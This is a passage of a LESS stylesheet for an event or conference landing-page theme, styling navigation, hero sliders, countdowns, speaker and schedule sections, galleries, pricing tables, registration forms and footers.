0px 14px 0px; color: #fff; font-size: 15px; .transition-300; font-weight: 600; line-height: 1; }\n.btn:hover{ color: #fff; background: darken(@color-primary, 5%); }\n.btn-hollow{ background: none; border: 2px solid @color-primary; color: @color-primary; }\n.btn-hollow:hover{ background: @color-primary; }\n\n.btn-white{ background: #fff; color: @color-primary; }\n.btn-white:hover{ background: #fff; color: darken(@color-primary,10%); }\n\n.btn-hollow.btn-white{ background: none; border-color: #fff; color: #fff; }\n.btn-hollow.btn-white:hover{ background: #fff; color: @color-primary; }\n\n.btn-lg{ padding: 20px 0px 21px 0px; text-transform: uppercase; min-width: 230px; border-radius: 35px; }\n\n/*!\n// Backgrounds & Parallax\n// --------------------------------------------------*/\n\n.background-image-holder{ position: absolute; width: 100%; height: 130%; top: -10%; background-size: cover !important; background-position: 50% 50% !important; }\n.image-holder{ position: relative; overflow: hidden; }\n\n/*!\n// 7. Navigation\n// --------------------------------------------------*/\n\nnav .logo{ max-height: 45px; max-width: 110px; position: absolute; top: -6px; opacity: 1; }\nnav .text-right{ position: relative; }\nnav .container{ .transition-300; }\n\n.overlay-nav{ position:fixed; top: 0px; z-index: 10; width: 100%; padding-top: @standard-space/3; line-height: 1; background: none; .transition-300; }\n.overlay-nav .logo-dark{ opacity: 0; }\n.overlay-nav.sticky-nav .logo-light{ opacity: 0; }\n.overlay-nav.sticky-nav .logo-dark{ opacity: 1; }\n\n.bottom-border{ position: absolute; bottom: 2px; width: 100%; height: 2px; background: rgba(255,255,255,0.3); }\n.sidebar-menu .bottom-border{ position: relative; bottom: 0px; background: rgba(255,255,255,0.2); display: block !important; }\n\n.menu{ display: inline-block; text-align: left; line-height: 1; }\n.menu li{ float: left; margin-right: 32px; font-size: 11px; text-transform: uppercase; letter-spacing: 1px; font-weight: 600; position: relative; top: 4px; }\n.menu li:last-child{ margin-right: 0px; }\n.menu li:nth-las-child(2){ margin-right: 12px; }\n.menu li a{ color: #fff; display: inline-block; padding-bottom: @standard-space/3; border-bottom: 2px solid rgba(0,0,0,0); .transition-300; }\n.menu li a:hover{ border-bottom: 2px solid #fff; }\n\n.nav-dropdown{ position: absolute; z-index: -1; max-height: 0px; background: rgba(255,255,255,0.9); min-width: 200px; .transition-300; }\n.nav-dropdown li:first-child{ margin-top: 12px; }\n.nav-dropdown li{ opacity: 0; .transition-300; margin-right: 0px; float: none; margin-bottom: 18px; }\n.nav-dropdown li a{ padding-bottom: 0px; padding-left: 24px; color: @color-heading; }\n.nav-dropdown li a:hover{ border-color: rgba(0,0,0,0); }\n\n.has-dropdown:hover .nav-dropdown{ z-index: 10; max-height: 300px; }\n.has-dropdown:hover .nav-dropdown li{ opacity: 1; }\n\n.has-dropdown a{ padding-left: 18px; }\n.has-dropdown:before{ display: inline-block; font-family: 'Pe-icon-7-stroke'; speak: none; font-style: normal; font-weight: normal; font-variant: normal; text-transform: none; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; content: \"\\e688\"; color: #fff; font-size: 24px; position: absolute; top: -6px; }\n\n.menu .social-link{ font-size: 14px; top: 0px !important; margin-right: 18px !important; }\n.menu .social-link:nth-last-child(2){ margin-right: 18px; }\n\n.sticky-nav{ background: rgba(255,255,255,0.9); }\n.sticky-nav .menu li a{ color: @color-heading; }\n.sticky-nav .bottom-border{ display: none; }\n.sticky-nav .menu li a:hover{ border-color: rgba(0,0,0,0); }\n.sticky-nav .sidebar-menu-toggle, .sticky-nav .mobile-menu-toggle{ color: @color-heading; }\n.sticky-nav .nav-dropdown{ background: rgba(255,255,255,0.9); }\n.sticky-nav .has-dropdown:before{ color: @color-heading; }\n\n.sidebar-menu-toggle, .mobile-menu-toggle{ position: absolute; color: #fff; font-size: 32px; right: 0px; top: -7px; cursor: pointer; .transition-300; }\n\n.mobile-menu-toggle{ display: none; }\n\n.sidebar-menu, .instagram-sidebar{ position: fixed; right: 0px; top: 0px; width: 300px; height: 100%; background: @color-heading; .translate3d(@x: 300px, @y: 0px, @z: 0px); .transition-300; }\n.show-sidebar{ .translate3d(@x: 0px, @y: 0px, @z: 0px); }\n.reveal-sidebar{ .translate3d(@x: -300px, @y: 0px, @z: 0px); }\n\n.sidebar-content{ padding: 0px 24px; margin-top: 24px; }\n.widget{ margin-bottom: 24px; }\n.widget .title{ font-size: 16px; font-weight: 600; display: inline-block; margin-bottom: 12px; }\n.widget .menu li{ float: none; margin-bottom: 12px; }\n.widget .menu li a{ padding-bottom: 0px; color: #fff !important; font-size: 12px; }\n.widget .menu li a:hover{ border-color: rgba(0,0,0,0); }\n.widget .menu .social-link{ display: none; }\n.widget .social-profiles li{ margin-right: 24px; }\n.widget .social-profiles li a{ color: #fff; }\n\n.instagram-toggle{ cursor: pointer; }\n.instagram-toggle-init{ pointer-events: none; }\n.instagram-sidebar li{ width: 100%; height: 250px; }\n.instagram-sidebar{ overflow-y: auto; }\n\n.sidebar-content .copy-text{ position: absolute; bottom: 32px; color: rgba(255,255,255,0.5); font-size: 12px; }\n.text-panel{ background: lighten(@color-heading, 8%); padding: 18px; }\n\n.relative-nav{ position: relative; padding-top: 28px; background: #fff; }\n.relative-nav .menu li a{ color: @color-heading; }\n.relative-nav .has-dropdown:before{ color: @color-heading; }\n.relative-nav .nav-dropdown{ background: rgba(53,53,53,0.8); }\n.relative-nav .has-dropdown li a{ color: #fff; }\n.relative-nav .sidebar-menu-toggle{ color: @color-heading; }\n.relative-nav .logo-light{ opacity: 0 !important; }\n.relative-nav .logo-dark{ opacity: 1 !important; }\n.relative-nav .logo{ top: -4px !important; }\n\n.sidebar-menu .logo{ max-width: 110px; position: relative; top: 21px !important; margin-bottom: 32px; left: 24px; }\n\n@media all and(max-width: 768px){\n\tnav{ max-height: 67px; overflow: hidden; background: rgba(255,255,255,0.9) !important; }\n\tnav .menu li{ float: none; margin-bottom: 24px; }\n\tnav .menu li a{ color: @color-heading !important; padding-bottom: 0px; }\n\tnav .logo{ max-width: 90px; top: -2px; }\n\tnav .logo-dark{ opacity: 1 !important; }\n\tnav .logo-light{ opacity: 0 !important; }\n\tnav .menu{ width: 100%; display: block; margin-top: 67px; margin-right: 0px; }\n\tnav .social-link{ float: left !important; }\n\t.sidebar-menu-toggle{ display: none; }\n\t.mobile-menu-toggle{ display: block; position: fixed; top: 17px; right: 24px; color: @color-heading !important; }\n\t.open-menu{ max-height: 800px !important; }\n\t.nav-dropdown{ position: relative; display: none; }\n\t.has-dropdown:hover .nav-dropdown{ display: block; }\n\t.has-dropdown:before{ color: @color-heading; }\n}\n\n/*!\n// 8. Sliders & Dividers & Headers\n// --------------------------------------------------*/\n\n.hero-slider{ padding: 0px; position: relative; overflow: hidden; }\n.hero-slider .slides li{ height: 780px; position: relative; overflow: hidden; .preserve-3d; }\n.hero-slider .slides li:before{ .overlay-params(@strength: 0.4, @bg-color: @color-heading); }\n\n.hero-slider .container{ .vertical-align; z-index: 2; }\n.hero-slider h1{ margin-bottom: 42px; }\n\n.hero-slider .btn-hollow{ color: #fff; border-color: #fff; margin-left: 16px; }\n.hero-slider .btn-hollow:hover{ background: #fff; color: @color-primary; }\n\n@media all and(max-width: 767px){\n\t.hero-slider .btn-hollow{ display: none; }\n}\n\n.register-header form.register{ padding-top: 0px; background: rgba(0,0,0,0.4); padding: 24px; }\n.register-header form input{ width: 100% !important; }\n.register-header form.register span{ color: #fff; }\n.register-header .logo, .hero-slide .logo{ max-width: 150px; display: block; margin-bottom: 12px; }\n\n.register-header h1{ margin-bottom: 24px !important; }\n\n@media all and(max-width: 768px){\n\t.register-header form.register .form-name, .register-header form.register .form-email{ max-width: 100%; width: 100%; }\n}\n\n@media all and(min-width: 321px) and(max-width: 767px) and(orientation: landscape){\n\t.register-header form.register .form-name, .register-header form.register .form-email{ width: 50%; }\n}\n\n@media all and(max-width: 767px){\n\t.hero-slide .logo{ max-width: 100px; }\n\t.register-header .logo{ display: none; }\n\t.register-header h1{ display: none; }\n\t.register-header form h1{ display: block; }\n\t.register-header span.lead{ display: none; }\n\t.register-header input, .register-header .select-holder{ max-width: 100% !important; }\n\t.hero-slider h1{ margin-bottom: 18px; }\n}\n\n.testimonials-slider{ position: relative; margin-bottom: 48px; }\n.testimonials-slider .flex-control-nav a{ background:rgba(0,0,0,0.3); }\n.testimonials-slider .flex-control-nav a.flex-active{ background:rgba(0,0,0,0.8); }\n.testimonials-slider .flex-control-nav a:hover{ background: rgba(0,0,0,0.8); }\n.testimonials-slider .flex-control-nav{ bottom: -48px; text-align: left; }\n\n.primary-overlay:before{ .overlay-params(@strength: 0.8, @bg-color: @color-primary); background-color: @color-primary !important; }\n\n.strip-divider{ padding: @standard-space*3 0px; position: relative; overflow: hidden; }\n.strip-divider .container{ z-index: 2; position: relative; }\n.strip-divider h1{ margin: 0px; font-size: 36px; line-height: 48px; }\n.strip-divider a:hover{ color: #fff !important; }\n\n@media all and(max-width: 767px){\n\t.strip-divider{ padding: @standard-space 0px; }\n}\n\n.countdown-divider{ padding: @standard-space*2 0px; }\n.countdown-divider img, .countdown-header img, .video-header img{ max-width: 300px; display: inline-block; margin-bottom: 12px; }\n\n.countdown-header h1{ margin-bottom: 0px; }\n.countdown-header:before{ opacity: 0.8 !important; }\n\n.video-header:before{ opacity: 0.5 !important; background: #000 !important; }\n.video-header .uppercase, .countdown-header .uppercase{ display: block; font-weight: 600; margin-bottom: 24px; }\n\n\n@media all and(max-width: 768px){\n\t.countdown-header img, .countdown-divider img, .video-header img{ max-width: 150px; }\n}\n\n.countdown{ text-align: center; margin-top: @standard-space; }\n.countdown-row{ color: #fff; font-size: 80px; font-weight: 300; }\n.countdown-section{ width: 20%; display: inline-block; }\n.countdown-amount{ display: inline-block; margin-bottom: 48px; }\n.countdown-period{ display: block; font-size: 24px; }\n\n.section-header{ position: relative; overflow: hidden; height: 450px; }\n.section-header h1{ font-size: 32px; }\n.section-header.overlay:before{ opacity: 0.2; }\n.section-header i{ font-size: 40px; color: #fff; margin: 0px 24px 12px 0px; }\n.section-header i:last-of-type{ margin-right: 0px; }\n\n@media all and(max-width: 767px){\n\t.countdown{ margin-top: 48px; }\n\t.countdown-row{ font-size: 36px; }\n\t.countdown-period{ font-size: 16px; }\n}\n\n.video-wrapper{ position: absolute; width: 100%; height: 100%; top: 0px; left: 0px; z-index: 0; }\n.video-wrapper video{ width: 100%; }\n\n@media all and(max-width: 1390px){\n\t.video-wrapper video{ width: 110%; }\n}\n\n@media all and(max-width: 1260px){\n\t.video-wrapper video{ width: 120%; }\n}\n\n@media all and(max-width: 1160px){\n\t.video-wrapper video{ width: 130%; }\n}\n\n@media all and(max-width: 1024px){\n\t.video-wrapper{ display: none; }\n}\n\n.call-to-action{ padding: 144px 0px; }\n.call-to-action .uppercase{ display: block; width: 100%; text-align: center; margin-bottom: 32px; }\n.call-to-action h1{ margin-bottom: 32px; }\n.call-to-action .btn{ margin-bottom: 40px; }\n.call-to-action a i{ display: inline-block; width: 60px; height: 60px; border-radius: 50%; color: #fff; margin-right: 12px; font-size: 24px; line-height: 60px; }\n.call-to-action .social_facebook{ background-color: #3b5998; }\n.call-to-action .social_twitter{ background-color: #00aced; }\n.call-to-action a:last-of-type i{ margin-right: 0px; }\n\n@media all and(max-width: 768px){\n\t.call-to-action{ padding: @standard-space 0px; }\n}\n\n/*!\n// 9. Image with text\n// --------------------------------------------------*/\n\n.image-with-text{ overflow: hidden; position: relative; height: 600px; }\n.image-with-text h1{ margin-bottom: 24px; }\n\n.side-image{ padding: 0px; position: absolute; top: 0px; height: 100%; }\n\n\n@media all and(max-width: 767px){\n\t.image-with-text{ height: auto; padding: @standard-space 0px; }\n\t.image-with-text .vertical-align{ .vertical-align-cancel }\n}\n\n/*!\n// Promo Blocks\n// --------------------------------------------------*/\n\n.color-blocks{ position: relative; overflow: hidden; color: #fff; }\n.color-block{ position: absolute; top: 0px; height: 100%; padding: 0px; color: #fff; .transition-300; }\n.color-blocks h1, .color-blocks h2, .color-blocks h3, .color-blocks h4, .color-blocks h5, .color-blocks h6{ color: #fff; }\n.color-blocks h1{ margin-bottom: 12px; }\n.color-blocks a{ color: #fff; pointer-events: auto; }\n.color-blocks a:hover i{ transform: rotateZ(-10deg); }\n.color-blocks i, .contained-promo i{ color: @color-primary; font-size: 70px; display: inline-block; border: 2px solid #fff; border-radius: 50%; width: 120px; height: 120px; line-height: 117px; background: #fff; text-align: center; .transition-100; }\n.block-left{ background-color: @color-primary; }\n.block-right{ background-color: darken(@color-primary, 8%); right: 0px; }\n\n@media all and(max-width: 768px){\n\t.block-content{ margin-bottom: @standard-space*2; overflow: hidden; display: block; }\n\t.block-content:last-of-type{ margin-bottom: 0px; }\n\t.color-block{ height: 50%; width: 100%; }\n\t.block-right{ top: 50%; }\n}\n\n@media all and(max-width: 767px){\n\t.block-content i{ margin-bottom: 30px; }\n}\n\n\n\n/*!\n// 10. Speakers & Topics\n// --------------------------------------------------*/\n\n.speakers-row{ padding: 0px 15px; }\n.speaker-column{ padding: 0px; }\n\n.speaker{ position: relative; overflow: hidden; }\n.speaker,.topic{ margin-bottom: @standard-space/2; }\n.speaker .hover-state{ position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: 2; opacity: 0; background: rgba(0,0,0,0.5); .transition-300; }\n.speaker .image-holder{ margin-bottom: 12px; }\n.speaker span{ display: block; font-size: 16px; }\n.speaker-name{ color: @color-heading; }\n.speaker .social-links{ width: 100%; .transition-300; .translate3d(@x: 0px, @y: -200px, @z: 0px); }\n.speaker .social-links a{ color: #fff; font-size: 24px; display: inline-block; margin-left: 6px; }\n.speaker .social-links a:last-child{ margin-right: 0px; }\n.speaker .image-holder:hover .hover-state{ opacity: 1; }\n.speaker .image-holder:hover .hover-state .social-links{ .translate3d(@x: 0px, @y: 0px, @z: 0px); }\n\n.speaker-with-bio{ overflow: hidden; margin-bottom: @standard-space/2; }\n.speaker-with-bio .speaker{ width: 50%; float: left; margin-bottom: 0px; }\n.speaker-with-bio .speaker-description{ width: 50%; float: left; padding-left: 30px; }\n.speaker-description span{ display: inline-block; margin-bottom: 18px; font-weight: 600; }\n\n@media all and(max-width: 767px){\n\t.speaker-with-bio .speaker{ width: 100%; }\n\t.speaker-with-bio .speaker-description{ width: 100%; padding-left: 0px; }\n}\n\n.topics{ position: relative; overflow: hidden; }\n.topics .container{ position: relative; z-index: 2; }\n.topics.overlay .ruled-list li{ border-color: rgba(255,255,255,0.5); }\n.topics.overlay .topic i{ color: #fff; }\n\n.topic h3{ margin-bottom: 18px; }\n.topic p.lead{ margin-bottom: 32px; }\n.topic i{ font-size: 60px; color: @color-primary; display: inline-block; margin-bottom: 32px; }\n\n@media all and(max-width: 767px){\n\t.topic h3{ display: inline-block; position: relative; bottom: 18px; left: 12px; }\n\t.topic i{ margin-bottom: 12px; }\n}\n\n.ruled-list li{ border-top: 1px dotted rgba(0,0,0,0.3); padding: 12px 0px; font-size: 16px; }\n\n@media all and(min-width: 321px) and(max-width: 767px) and(orientation: landscape){\n\t.speakers-row .col-sm-6{ width: 50%; float: left !important; }\n}\n\n/*!\n// 11. Schedule\n// --------------------------------------------------*/\n\n.inline-video{ background: @color-muted; }\n.inline-video iframe{ width: 100%; height: 300px; border: none; }\n.inline-video .btn{ min-width: 150px; margin-top: 32px; margin-right: 16px; }\n\n@media all and(max-width: 768px){\n\t.inline-video iframe{ height: 350px; margin-top: 42px; }\n}\n\n@media all and(max-width: 767px){\n\t.inline-video iframe{ height: 200px; margin-top: 30px; }\n\t.inline-video .btn{ margin-top: 18px; }\n}\n\n@media all and(min-width: 321px) and(max-width: 767px) and(orientation: landscape){\n\t.inline-video iframe{ height: 250px; }\n}\n\n.embedded-video-holder p{ display: none; }\n\n.schedule-overview{ border: 2px solid rgba(0,0,0,0.2); margin-bottom: @standard-space/2; }\n.schedule-overview li{ padding: 24px; position: relative; cursor: pointer; .transition-300; }\n.schedule-overview li:first-child .top{ display: none; }\n.schedule-overview li:last-child .bottom{ display: none; }\n\n.schedule-title span{ display: block; font-size: 16px; }\n.schedule-title .title{ color: @color-heading; }\n\n.schedule-text{ max-height: 0px; .transition-300; opacity: 0; }\n\n.schedule-overview li:hover{ background-color: @color-muted; }\n.schedule-overview li:hover .schedule-text{ max-height: 300px; opacity: 1; padding-top: 18px; }\n.schedule-overview li:hover .top,.schedule-overview li:hover .bottom,.schedule-overview li:hover .middle{ border-color: rgba(0,0,0,0.4); }\n.schedule-overview li:hover .middle{ background: @color-heading; }\n\n.schedule-with-text .btn, .contained-gallery .btn{ margin-top: 24px; margin-right: 12px; }\n.schedule-with-text .schedule-overview li{ padding-right: 48px; }\n\n@media all and(max-width: 1024px){\n\t.schedule-overview li{ padding-right: 48px; }\n}\n\n@media all and(max-width: 767px){\n\t.schedule-with-text .btn, .contained-gallery .btn{ margin-bottom: 32px; }\t\n}\n\n.marker-pin{ position: absolute; right: 32px; top: 0px; height: 100%; }\n.marker-pin .top, .marker-pin .bottom{ height: 50%; width: 2px; border-left: 2px solid rgba(0,0,0,0.2); position: absolute; z-index: 1; .transition-300; }\n.marker-pin .top{ top: 0px; }\n.marker-pin .bottom{ bottom: 0px; }\n.marker-pin .middle{ width: 18px; height: 18px; border: 2px solid rgba(0,0,0,0.2); background: #fff; border-radius: 50%; position: absolute; right: -10px; top: 50%; margin-top: -9px; z-index: 2; .transition-300; }\n\n/*!\n// 12. Galleries\n// --------------------------------------------------*/\n\n.instagram, .lightbox-gallery{ position: relative; padding: @standard-space*3 0px; }\n.gallery-header{ }\n.gallery-header .logo{ max-width: 400px; display: block; margin: 0px auto; margin-bottom: 12px; }\n\n@media screen and(max-width: 768px){\n\t.gallery-header .logo{ max-width: 200px; }\n\t.gallery-header h1{ font-size: 24px !important; line-height: 32px !important; }\n}\n\n.instagram, .lightbox-gallery{ overflow: hidden; background: #000 !important; }\n.instagram ul, .lightbox-gallery ul{ overflow: hidden; position: absolute; width: 100%; height: 100%; top: 0px; }\n.instagram li, .lightbox-gallery li{ float: left; width: 20%; height: 50%; position: relative; cursor: pointer; .transition-300; overflow: hidden; background-size: cover !important; opacity: 0.5; }\n.instagram li:hover, .lightbox-gallery li:hover{ opacity: 1 !important; }\n\n.instagram .container, .lightbox-gallery .container{ position: relative; z-index: 3; }\n.instagram i, .lightbox-gallery i{ font-size: 48px; display: inline-block; margin-bottom: 16px; }\n.instagram h1, .lightbox-gallery h1{ .large-h1; margin-bottom: 16px; }\n\n@media all and(max-width: 1200px){\n\t.instagram li:nth-child(n+9), .lightbox-gallery li:nth-child(n+9){ display: none; }\n\t.instagram li, .lightbox-gallery li{ width: 25%; }\n}\n\n@media all and(max-width: 900px){\n\t.instagram li:nth-child(n+7), .lightbox-gallery li:nth-child(n+7){ display: none; }\n\t.instagram li, .lightbox-gallery li{ width: 33.333333%; }\n}\n\n@media all and(max-width: 767px){\n\t.instagram, .lightbox-gallery{ padding: @standard-space*2 0px; }\n\t.instagram li:nth-child(n+5), .lightbox-gallery li:nth-child(n+5){ display: none; }\n\t.instagram li, .lightbox-gallery li{ width: 50%; }\n}\n\n\n.testimonials{ background: @color-muted; }\n\n.contained-gallery .instagram, .contained-gallery .lightbox-gallery{ padding: 185px 0px; }\n.contained-gallery .instagram li:nth-child(n+9),.contained-gallery .lightbox-gallery li:nth-child(n+9){ display: none; }\n.contained-gallery .instagram li, .contained-gallery .lightbox-gallery li{ width: 25%; opacity: 0.7; }\n\n@media all and(max-width: 1024px){\n\t.contained-gallery .instagram li:nth-child(n+7){ display: none; }\n\t.contained-gallery .lightbox-gallery li:nth-child(n+7){ display: none; }\n\t.contained-gallery .instagram li, .contained-gallery .lightbox-gallery li{ width: 33.33333%; }\n\t.contained-gallery .instagram, .contained-gallery .lightbox-gallery{ padding: 200px 0px; }\n}\n\n@media all and(max-width: 768px){\n\t.contained-gallery .instagram, .contained-gallery .lightbox-gallery{ margin-bottom: 32px; }\n\t.contained-gallery .btn{ margin-bottom: 0px; }\n\t.contained-gallery .instagram li:nth-child(n+5), .contained-gallery .lightbox-gallery li:nth-child(n+5){ display: block !important; }\n\t.contained-gallery .instagram li:nth-child(n+7), .contained-gallery .lightbox-gallery li:nth-child(n+7){ display: none !important; }\n\t.contained-gallery .instagram li, .contained-gallery .lightbox-gallery li{ width: 33.33333% !important; }\n}\n\n/*!\n// 13. Pricing\n// --------------------------------------------------*/\n\n.pricing-option{ overflow: hidden; background: @color-muted; .preserve-3d; position: relative; padding: @standard-space 0px; margin-bottom: 30px; .transition-300; }\n.pricing-option .dot{ position: absolute; top: 24px; right: 24px; width: 24px; height: 24px; border-radius: 50%; background: #fff; }\n.pricing-option:hover{ background: darken(@color-muted, 3%); }\n\n@media all and(min-width: 321px) and(max-width: 767px) and(orientation: landscape){\n\t.pricing-options .col-sm-6{ width: 50%; float: left; }\n}\n\n.dollar, .price, .type{ font-weight: 600; color: @color-heading; font-size: 72px; }\n.dollar{ font-size: 36px; position: relative; bottom: 22px; }\n.price{ line-height: 1; }\n.type{ display: block; font-size: 14px; text-transform: uppercase; letter-spacing: 1px; margin-top: 12px; }\n\n.plan-title{ display: block; font-weight: 600; margin-bottom: 12px; font-size: 18px; color: @color-heading; }\n\n.pricing-option ul li{ color: @color-body; }\n\n.pricing-option.emphasis{ background: @color-primary; color: #fff; }\n.pricing-option.emphasis .type, .pricing-option.emphasis .dollar, .pricing-option.emphasis .price, .pricing-option.emphasis .plan-title, .pricing-option.emphasis ul li{ color: #fff !important; } \n\n@media all and(max-width: 991px){\n\t.type{ margin-bottom: 12px; }\n\t.pricing-option{ text-align: center !important; }\n}\n\n/*!\n// Frequently Asked Questions\n// --------------------------------------------------*/ \n\n.faq-item{ margin-bottom: @standard-space/2; }\n\np.question{ font-weight: 600; color: @color-heading; font-size: 16px; }\n\n/*!\n// Visitor Info\n// --------------------------------------------------*/ \n\n.info-box{ margin-bottom: @standard-space/2; position: relative; overflow: hidden; }\n.info-box img{ display: block; margin-bottom: 12px; }\n.info-box h3{ margin-bottom: 12px; }\n.info-box .text-link{ position: absolute; bottom: 12px; right: 0px; }\n.text-link a{ display: inline-block; margin-left: 12px; }\n\n@media all and(min-width: 321px) and(max-width: 767px) and(orientation: landscape){\n\t.visitor-info .col-sm-4{ width: 50%; float: left; }\n}\n\n/*!\n// 14. Subscribe\n// --------------------------------------------------*/ \n\n.subscribe-1{ position: relative; overflow: hidden; padding-top: @standard-space*2; padding-bottom: @standard-space/2; }\n.subscribe-1:before{ .overlay-params(@strength: 0.4, @bg-color: @color-heading); }\n.subscribe-1 .container{ position: relative; z-index: 2; }\n.subscribe-1 .email-subscribe{ margin-bottom: @standard-space*3; }\n.subscribe-1 footer{ border-top: 2px solid rgba(255,255,255,0.3); padding-top: @standard-space/2; }\n.subscribe-1 .twitter-feed{ margin-bottom: @standard-space; }\n.subscribe-1 h1{ margin-bottom: 30px; }\n\n.email-subscribe span{ display: block; margin-top: 12px; }\n\n.twitter-feed i{ font-size: 48px; display: inline-block; margin-bottom: 32px; }\n.twitter-feed span a{ border-bottom: none; }\n\n.tweets-feed .user{ display: none; }\n.tweets-feed .interact{ display: none; }\n.tweets-feed .tweet{ color: #fff; font-size: 30px; line-height: 36px; font-family: @custom-heading-font,\"Helvetica Neue\", Helvetica, Arial, sans-serif; font-weight: 300; }\n.tweets-feed .tweet a{ color: #fff !important; border-color: #fff !important; }\n.tweets-feed .timePosted{ display: none; }\n\n@media all and(max-width: 767px){\n\t.tweets-feed .tweet{ font-size: 20px; line-height: 26px; }\n\t.subscribe-2 .form-email{ margin-bottom: 24px; }\n}\n\n\n/*!\n// 15. Contact\n// --------------------------------------------------*/ \n\n.contact-tweets{ background: @color-primary; color: #fff; position: relative; overflow: hidden; height: 600px; .preserve-3d; }\n.contact-tweets .social_twitter{ font-size: 42px; margin-bottom: 32px; display: inline-block; }\n.contact-tweets .map-holder{ position: absolute; height: 100%; padding: 0px; top: 0px; right: 0px; }\n.contact-tweets .timePosted{ display: block !important; }\n.map-holder:before{ content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: 2; opacity: 0; }\n.map-holder iframe{ border: 0px; position: absolute; width: 100%; height: 100%; }\n.contact-tweets span a{ border-bottom: 2px solid #fff; padding-bottom: 1px; }\n\n.contact-tweets form{ padding-top: 0px !important; }\n.contact-tweets form .btn{ background: #fff; color: @color-primary; }\n.contact-tweets form ::-webkit-input-placeholder { color: rgba(255,255,255,0.9); }\n.contact-tweets form :-moz-placeholder { color: rgba(255,255,255,0.9); }\n.contact-tweets form ::-moz-placeholder { color: rgba(255,255,255,0.9); }\n.contact-tweets form :-ms-input-placeholder { color: rgba(255,255,255,0.9); }\n.contact-tweets .icon{ font-size: 60px; margin-bottom: 12px; }\n.contact-tweets .form-message{ max-width: 95.5%; width: 95.5%; }\n\n.fullwidth-map{ padding: 0px; position: relative; overflow: hidden; }\n.fullwidth-map .map-holder{ width: 100%; height: 400px; overflow: hidden; }\n.fullwidth-map.screen:before{ content: ''; position: absolute; width: 100%; height: 100%; z-index: 2; }\n\n\n/*!\n// Sponsors\n// --------------------------------------------------*/ \n\n.sponsors{ background: @color-muted; }\n.sponsor{ margin-bottom: @standard-space/2; height: 80px; line-height: 80px; }\n.sponsor img{ max-width: 150px; .transition-300; max-height: 80px; }\n\n.sponsors span{ display: inline-block; margin-top: 24px; }\n.sponsors span a{ color: @color-primary; border-color: @color-primary; }\n\n@media all and(min-width: 321px) and(max-width: 767px) and(orientation: landscape){\n\t.sponsors .col-sm-6{ width: 50%; float: left; }\n}\n\n\n\n/*!\n// 16. Forms\n// --------------------------------------------------*/ \n\nform.register{ overflow: hidden; padding-top: 24px; display: block; }\nform.register div{ padding: 0px; }\ninput[type=\"text\"], form.register .select-holder{ margin-bottom: 32px; padding: 12px; border: none; background: rgba(255,255,255,0.1); border-radius: 25px; font-size: 14px; max-width: 90%; color: #fff; padding-left: 24px; .transition-300; }\ninput[type=\"text\"]:focus, form.register .select-holder:focus,input[type=\"text\"]:hover, form.register .select-holder:hover{ outline: none; background: rgba(255,255,255,0.2); }\n\nform.register select{ width: 90%; margin: 0px; background: none; border: none; cursor: pointer; }\nform.register select:focus{ outline: none; }\n\nform.register input[type=\"submit\"]{ padding-bottom: 12px; width: 90%; margin-bottom: 12px; }\n\ninput[type=\"submit\"]{ font-weight: normal; }\n\n.email-subscribe{ overflow: hidden; }\n.email-subscribe input{ margin: 0px auto; min-width: 100%; max-width: 100%; }\n.email-subscribe input[type=\"text\"]{ background: rgba(255,255,255,0.3); }\n.email-subscribe input[type=\"text\"]:hover, .email-subscribe input[type=\"text\"]:focus{ background: rgba(255,255,255,0.4); }\n.email-subscribe ::-webkit-input-placeholder { color: rgba(255,255,255,0.9); }\n.email-subscribe :-moz-placeholder { color: rgba(255,255,255,0.9); }\n.email-subscribe ::-moz-placeholder { color: rgba(255,255,255,0.9); }\n.email-subscribe :-ms-input-placeholder { color: rgba(255,255,255,0.9); }\n.email-subscribe input[type=\"submit\"]{ min-height: 48px; }\n\n.subscribe-2 .email-subscribe input[type=\"text\"]{ background: rgba(0,0,0,0.2); }\n.subscribe-2 i{ color: @color-primary; font-size: 70px; display: inline-block; margin-right: 24px; margin-bottom: 18px; }\n.subscribe-2 i:last-of-type{ margin-right: 0px; }\n\ninput.error{ color: #ff4532; }\n\n.mail-list-form{ width: 0px; height: 0px; opacity: 0; overflow: hidden; }\n\n.form-success, .form-error{ display: none; width: 100%; padding: 6px 18px 8px 18px !important; margin-top: 12px; color: #fff; background-color: #55c950; border-radius: 20px; }\n.form-error{ background-color: #D74B4B; }\nform .field-error{ background: #D74B4B !important; }\n\n@media all and(max-width: 768px){\n\t\n}\n\n@media all and(max-width: 767px){\n\tform.register input, form.register .select-holder{ width: 100% !important; max-width: 100%; }\n\t.subscribe-1 .email-subscribe input[type=\"text\"]{ margin-bottom: 24px; }\n}\n\n@media all and(min-width: 321px) and(max-width: 767px) and(orientation: landscape){\n\tform.register .col-sm-6{ width: 50%; float: left; }\n\tform.register input, form.register .select-holder{ max-width: 95% !important; }\n\tform.register input[type=\"submit\"]{ max-width: 100% !important; }\n}\n\n/*!\n// Utility Pages\n// --------------------------------------------------*/ \n\n.error-page{ background: @color-primary; padding: 0px; }\n.error-page h1{ font-size: 84px; line-height: 96px; margin-bottom: 0px; margin-bottom: 12px; }\n.error-page p{ font-size: 24px; line-height: 32px; }\n.error-page i{ color: #fff; font-size: 84px; display: inline-block; margin-right: 24px; }\n.error-page i:last-of-type{ margin-right: 0px; }\n.error-page .btn{ margin-right: 24px; margin-top: 12px; }\n\n@media all and(max-width: 767px){\n\t.error-page i{ display: none; }\n}\n\n/*!\n// 17. Footers\n// --------------------------------------------------*/ \n\n\n.footer .top-border{ height: 2px; width: 100%; background: rgba(255,255,255,0.3); margin-bottom: 32px; }\n.footer .menu{ overflow: visible; }\n.footer .menu li{ top: 0px; }\n.footer .menu li a{ padding-bottom: 0px; }\n.footer .menu li .btn{ min-width: 0px; padding: 10px 18px; font-size: 14px; }\n.footer .menu li a{ diplay: inline-block; position: relative; border: none; }\n.footer .menu li a:hover{ border: none; }\n.footer .back-to-top{ padding-right: 42px; }\n.footer .menu li a i{ font-size: 36px; position: absolute; right: 0px; top: -12px; }\n\n@media all and(max-width: 767px){\n\t.footer .text-right{ text-align: left !important; }\n\t.footer .menu{ margin-top: 24px; }\n\t.footer .menu li{ float: none; margin-bottom: 12px; }\n}\n\nfooter.classic{ padding: @standard-space 0px @standard-space/2 0px; background: @color-muted; }\nfooter.classic .menu li{ float: none; margin-bottom: 12px; }\nfooter.classic .menu li a{ color: @color-heading; padding-bottom: 0px; font-weight: 600; }\nfooter.classic span.lead{ display: inline-block; margin-bottom: 12px; }\n\nfooter.short{ background: @color-heading; color: 